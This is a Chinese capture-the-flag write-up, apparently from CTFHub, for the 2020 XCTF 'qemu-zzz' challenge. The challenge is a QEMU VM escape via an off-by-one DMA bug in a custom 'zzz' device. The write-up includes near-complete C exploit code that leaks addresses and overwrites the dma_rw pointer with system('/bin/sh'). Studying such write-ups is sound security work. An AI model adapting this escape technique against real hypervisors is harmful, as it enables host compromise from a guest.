qemu-zzz

发表于 2021-05-20 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 华为云专题赛， Pwn
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 华为云专题赛 | Pwn | qemu-zzz

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *Qemu虚拟化利用设备逃逸*

解题思路

说明

这是一道qemu逃逸题，在程序启动时添加了一个设备zzz，zzz设备中预留了一个off by one的漏洞。

- *zzz的代码是基于edu.c的代码进行编写的*

启动脚本

```
#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios
```

漏洞位置

```
if ( obj->idx + cnt - 1 > DMA_SIZE )
{
    return ;
}
```

利用过程

1. *通过单字节溢出泄露设备地址的最后一位*
2. *修改最后一位导致设备基址发生变化，设备中变量位置发生偏移*
3. *在dma_buf中预留数据，设备发生偏移时，可以控制地址，长度，偏移的内容*
4. *根据新的偏移和长度，泄露出堆地址和程序地址*
5. *通过xor操作修改长度和偏移，修改读写标志位，导致从写到读*
6. *向dma_rw函数指针地址写入system，在对齐的偏移处写入要执行的命令*

```
int main(int argc, char *argv[])
{
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED)
        die("mmap");

    mlock(userbuf, 0x1000);
```

```
8     phy_userbuf=gva_to_gpa(userbuf);
9
10    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
11    if (fd == -1)
12    {
13        die("open resource0 faild\n");
14    }
15
16    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
17    if (mmio_mem == MAP_FAILED)
18    {
19        die("mmap faild\n");
20    }
21
22    printf("addr %p,0x%lx\n",userbuf,phy_userbuf);
23
24    // set dma addr
25    mmio_write(0x20,phy_userbuf >> 12);
26
27    //memcpy(userbuf,"/bin/sh\x00",8);
28    // addr
29    *(uint64_t*)(userbuf + 0x11) = phy_userbuf;
30    // cnt
31    *(uint16_t*)(userbuf + 0x11 +8) = 0xff5;
32    // idx
33    *(uint16_t*)(userbuf + 0x11 +8+2) = 11;
34
35    set_idx(0);
36    set_cnt(0x30);
37    mmio_write(0x60,0);
38
39    set_idx(0x1000-1);
40    set_cnt(2|1);
41    mmio_write(0x60,0);
42    uint8_t off = userbuf[1];
43
44    printf("leak = %hhx\n",off);
45
46    // cnt
47    *(uint16_t*)(userbuf) = 0xff5;
48    // idx
49    *(uint16_t*)(userbuf+2) = 11;
50
51    userbuf[0x1000-0x19] = off + 0x21;
52
53    set_idx(0x19);
54    set_cnt(0x1000-0x19+1);
55    mmio_write(0x60,0);
56
57    // new buf = dma_buf + 0x21;
58
59    // leak ptr
60    mmio_write(0x60,0);
61    uint64_t device = *(uint64_t*)&userbuf[0x1000-0x21-11];
62    uint64_t dma_rw = *(uint64_t*)&userbuf[0x1000-0x21-11+8];
63    uint64_t dma_buf = device + 0x9cf;
64
65    printf("device = 0x%lx\n",device);
66    printf("dma_rw = 0x%lx\n",dma_rw);
67
68    // encrypt
69    mmio_write(0x50,0);
70    // idx = 11 ^ 521 = 514
71    // cnt = 0xff5 ^ 521 = 0xdfc
72
73    uint64_t start = dma_buf + 0x21 + 514;
74    uint64_t align = (start + 0xfff) & ~0xfff;
75
76    assert(align <= start + 0xdfc);
77
78    printf("start = 0x%lx\n",start);
79    printf("align = 0x%lx\n",align);
80
81    *(uint64_t *)userbuf = align;
82    *(uint16_t *)(userbuf + 8) = 0;
83    *(uint16_t *)(userbuf + 8 + 2) = 0;
```

```
84
85      char cmd[] = "/bin/sh\x00";
86      memcpy(userbuf + (align - start),cmd,sizeof(cmd));
87
88      // idx = 514
89      *(uint64_t *)&userbuf[0x1000-0x21-514] = device + 514 + 0x10;
90      *(uint64_t *)&userbuf[0x1000-0x21-514+8] = dma_rw - 0x314b40;
91
92      // write
93      mmio_write(0x60,0);
94      mmio_write(0x60,0);
95  }
```


- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/华为云专题赛/Pwn/rBKBfenwuyn99fKF1N6WrP.html
- **版权声明：** 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

#Challenge #2020 #Pwn #XCTF高校网络安全专题挑战赛 #华为云专题赛

nday_container_escape

rrssaa